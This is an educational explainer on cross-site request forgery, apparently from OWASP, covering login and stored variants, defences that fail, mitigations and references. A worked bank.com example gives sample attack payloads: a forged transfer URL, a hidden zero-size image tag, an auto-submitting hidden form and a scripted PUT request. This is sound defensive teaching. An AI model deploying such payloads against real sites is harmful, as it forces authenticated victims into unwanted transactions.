CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim’s behalf (though note that this is not true of login CSRF, a special form of the attack described below). For most sites, browser requests automatically include any credentials associated with the site, such as the user’s session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the victim and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change on the server, such as changing the victim’s email address or password, or purchasing something. Forcing the victim to retrieve data doesn’t benefit an attacker because the attacker doesn’t receive the response, the victim does. As such, CSRF attacks target state-changing requests.

An attacker can use CSRF to obtain the victim’s private data via a special form of the attack, known as login CSRF. The attacker forces a non-authenticated user to log in to an account the attacker controls. If the victim does not realize this, they may add personal data—such as credit card information—to the account. The attacker can then log back into the account to view this data, along with the victim’s activity history on the web application.

It’s sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called “stored CSRF flaws”. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

**Synonyms**

CSRF attacks are also known by a number of other names, including XSRF, “Sea Surf”, Session Riding, Cross-Site Reference Forgery, and Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.

**Prevention measures that do **NOT** work**

A number of flawed ideas for defending against CSRF attacks have been developed over time. Here are a few that we recommend you avoid.

**Using a secret cookie**

Remember that all cookies, even the _secret_ ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.

**Only accepting POST requests**

Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker’s Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.

**Multi-Step Transactions**

Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.

**URL Rewriting**

This might be seen as a useful CSRF prevention technique as the attacker cannot guess the victim’s session ID. However, the user’s session ID is exposed in the URL. We don’t recommend fixing one security flaw by introducing another.

**HTTPS**

HTTPS by itself does nothing to defend against CSRF.

However, HTTPS should be considered a prerequisite for any preventative measures to be trustworthy.

**Examples****How does the attack work?**

There are numerous ways in which an end user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a valid malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using the _bank.com_ web application that is vulnerable to CSRF. Maria, an attacker, wants to trick Alice into sending the money to Maria instead. The attack will comprise the following steps:

1.  Building an exploit URL or script
2.  Tricking Alice into executing the action with Social Engineering

**GET scenario**

If the application was designed to primarily use GET requests to transfer parameters and execute actions, the money transfer operation might be reduced to a request like:

`GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1`

Maria now decides to exploit this web application vulnerability using Alice as the victim. Maria first constructs the following exploit URL which will transfer $100,000 from Alice’s account to Maria’s account. Maria takes the original command URL and replaces the beneficiary name with herself, raising the transfer amount significantly at the same time:

`http://bank.com/transfer.do?acct=MARIA&amount=100000`

The social engineering aspect of the attack tricks Alice into loading this URL when Alice is logged into the bank application. This is usually done with one of the following techniques:

*   sending an unsolicited email with HTML content
*   planting an exploit URL or script on pages that are likely to be visited by the victim while they are also doing online banking

The exploit URL can be disguised as an ordinary link, encouraging the victim to click it:

`<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>`

Or as a 0x0 fake image:

`<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="0" height="0" border="0">`

If this image tag were included in the email, Alice wouldn’t see anything. However, the browser _will still_ submit the request to bank.com without any visual indication that the transfer has taken place.

A real life example of CSRF attack on an application using GET was a uTorrent exploit from 2008 that was used on a mass scale to download malware.

**POST scenario**

The only difference between GET and POST attacks is how the attack is being executed by the victim. Let’s assume the bank now uses POST and the vulnerable request looks like this:

    POST http://bank.com/transfer.do HTTP/1.1
    
    acct=BOB&amount=100
    

Such a request cannot be delivered using standard A or IMG tags, but can be delivered using a FORM tags:

    <form action="http://bank.com/transfer.do" method="POST">
    
    <input type="hidden" name="acct" value="MARIA"/>
    <input type="hidden" name="amount" value="100000"/>
    <input type="submit" value="View my pictures"/>
    
    </form>
    

This form will require the user to click on the submit button, but this can be also executed automatically using JavaScript:

    <body onload="document.forms[0].submit()">
    
    <form...
    

**Other HTTP methods**

Modern web application APIs frequently use other HTTP methods, such as PUT or DELETE. Let’s assume the vulnerable bank uses PUT that takes a JSON block as an argument:

    PUT http://bank.com/transfer.do HTTP/1.1
    
    { "acct":"BOB", "amount":100 }
    

Such requests can be executed with JavaScript embedded into an exploit page:

    <script>
    function put() {
        var x = new XMLHttpRequest();
        x.open("PUT","http://bank.com/transfer.do",true);
        x.setRequestHeader("Content-Type", "application/json");
        x.send(JSON.stringify({"acct":"BOB", "amount":100})); 
    }
    </script>
    
    <body onload="put()">
    

Fortunately, this request will **not** be executed by modern web browsers thanks to same-origin policy restrictions. This restriction is enabled by default unless the target web site explicitly opens up cross-origin requests from the attacker’s (or everyone’s) origin by using CORS with the following header:

`Access-Control-Allow-Origin: *`

*   Cross-site Scripting (XSS)
*   Cross Site History Manipulation (XSHM)

*   Add a per-request nonce to the URL and all forms in addition to the standard session. This is also referred to as “form keys”. Many frameworks (e.g., Drupal.org 4.7.4+) either have or are starting to include this type of protection “built-in” to every form so the programmer does not need to code this protection manually.
*   Add a hash (session id, function name, server-side secret) to all forms.
*   For .NET, add a session identifier to ViewState with MAC (described in detail in the DotNet Security Cheat Sheet).
*   Checking the referrer header in the client’s HTTP request can prevent CSRF attacks. Ensuring that the HTTP request has come from the original site means that attacks from other sites will not function. It is very common to see referrer header checks used on embedded network hardware due to memory limitations.
    *   XSS can be used to bypass both referrer and token based checks simultaneously. For instance, the Samy worm used an `XMLHttpRequest` to obtain the CSRF token to forge requests.
*   “Although CSRF is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser’s cookies at the end of each browser session.” –http://en.wikipedia.org/wiki/Cross-site\_request\_forgery#\_note-1

**References**

*   OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
    
*   The Cross-Site Request Forgery (CSRF/XSRF) FAQ
    

> “This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered.”\*

*   Testing for CSRF
    *   CSRF (aka Session riding) paper from the OWASP Testing Guide project.
*   CSRF Vulnerability: A ‘Sleeping Giant’
    *   Overview Paper
*   Client Side Protection against Session Riding
    *   Martin Johns and Justus Winter’s interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - PDF paper
*   OWASP CSRF Guard
    *   J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.
*   OWASP CSRF Protector
    *   Anti CSRF method to mitigate CSRF in web applications. Currently implemented as a PHP library & Apache 2.x.x module
*   A Most-Neglected Fact About Cross Site Request Forgery (CSRF)
    *   Aung Khant, http://yehg.net, explained the danger and impact of CSRF with imperiling scenarios.
*   Pinata-CSRF-Tool: CSRF POC tool
    *   Pinata makes it easy to create Proof of Concept CSRF pages. Assists in Application Vulnerability Assessment.

Tag

#mac